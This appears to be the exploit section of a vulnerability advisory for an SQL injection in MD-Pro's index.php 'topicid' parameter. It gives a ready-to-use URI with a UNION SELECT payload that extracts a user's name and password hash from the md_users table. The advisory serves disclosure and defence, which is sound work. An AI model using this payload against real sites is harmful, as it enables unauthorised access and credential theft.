• info
• discussion
• exploit
• solution
• references

MD-Pro Index.PHP TopicID SQL Injection Vulnerability

Attackers can exploit this issue via a browser.

The following URI is sufficient to demonstrate this issue:

http://www.example.com/[mdpro_path]/index.php?module=Topics&func=view&topicid=-1 UNION ALL SELECT null,null,concat(pn_uname,0x3a,pn_pass),null,null,null,null from md_users where pn_uid=2/*